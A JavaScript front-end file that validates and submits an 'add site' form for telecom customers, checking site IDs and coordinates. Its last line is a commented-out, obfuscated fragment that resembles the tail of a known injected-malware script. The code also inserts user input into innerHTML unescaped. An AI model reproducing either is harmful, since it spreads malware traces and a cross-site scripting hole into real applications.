function msgPanel(alertType, msg) {

    return `<p class="text-${alertType}"><b>${msg}</b></p>`;

}

function validateForm(formdata) {
let dropDownArray = getCustomerDropDownList();
    let Indus_regex = /^IN-[0-9]{7}$/;// site id validation olny for indus site id.
    let space_regex = /^[^\s]+$/; // this regex expression is for finding the space between the siteId.
  //https://stackoverflow.com/questions/3518504/regular-expression-for-matching-latitude-longitude-coordinates/18690202#18690202
  const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
  let feedbackMsg = "";
//   if (!siteIdPattern.test(formdata.siteId)) {
//     feedbackMsg += "<li>site id is not valid.</li>";
//   }
  if (!latLongPattern.test(formdata.latitude + ", " + formdata.longitude))
     feedbackMsg += "latitude or longitude is not valid.";
     
let siteId=formdata.siteId;//trim the extra characters eg: '=>apostrophe
            
            switch(formdata.customerName){
                case dropDownArray[0]: // at index 0 'Indus' customer
                        if(!Indus_regex.test(siteId)){ 
                            feedbackMsg += "<br># '"+siteId+"' Invalid Indus siteId follow 'IN-' by 7 digits with out space. EX:- 'IN-1234567'.";
                        }
                    break;
                case dropDownArray[1]: // at index 1 'ATC' customer
                case dropDownArray[2]: // at index 2 "Airtel" customer
                case dropDownArray[6]: // at index 6 'jio' customer
                        if(!space_regex.test(siteId)){
                            feedbackMsg += "<br># Site Id should not contain space.";
                        }
                        
            }
     
     
     
  return feedbackMsg;
}

const addSiteURL =
  ADD_SITE_BASE_URL+"addSiteWeb";

const addSiteForm = document.getElementById("addSiteForm");
const panel = document.getElementById("msgPanel");
addSiteForm.addEventListener("submit", function(event) {
  event.preventDefault();
    var spinnerClassIcon=document.getElementById("addSiteSpinner");
        
    checkWheatherLogoutOrNot();

  var formdata = {
    siteId: addSiteForm.siteId.value.trim(),
    siteName: addSiteForm.siteName.value.trim(),
    latitude: addSiteForm.latitude.value.trim(),
    longitude: addSiteForm.longitude.value.trim(),
    circle: addSiteForm.circle.value.trim(),
    district: addSiteForm.district.value.trim(),
//    project: addSiteForm.project.value,
    customerName: addSiteForm.customerName.value.trim()
  };
     formdata = JSON.parse(JSON.stringify(formdata).replace(/"\s+|\s+"/g, '"'));
  const feedbackMsg = validateForm(formdata);
  if (feedbackMsg === "") {
      spinnerClassIcon.classList.remove("d-none");
    postData(addSiteURL, formdata).then(data => {
      if (data.error) {
        panel.innerHTML = msgPanel("danger", data.message);
      } else {
        addSiteForm.reset();
        panel.innerHTML = msgPanel("success", data.message);
      }
        spinnerClassIcon.classList.add("d-none");
    });
  } else {
      panel.innerHTML = msgPanel("danger", feedbackMsg);
  }
});


//return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};;;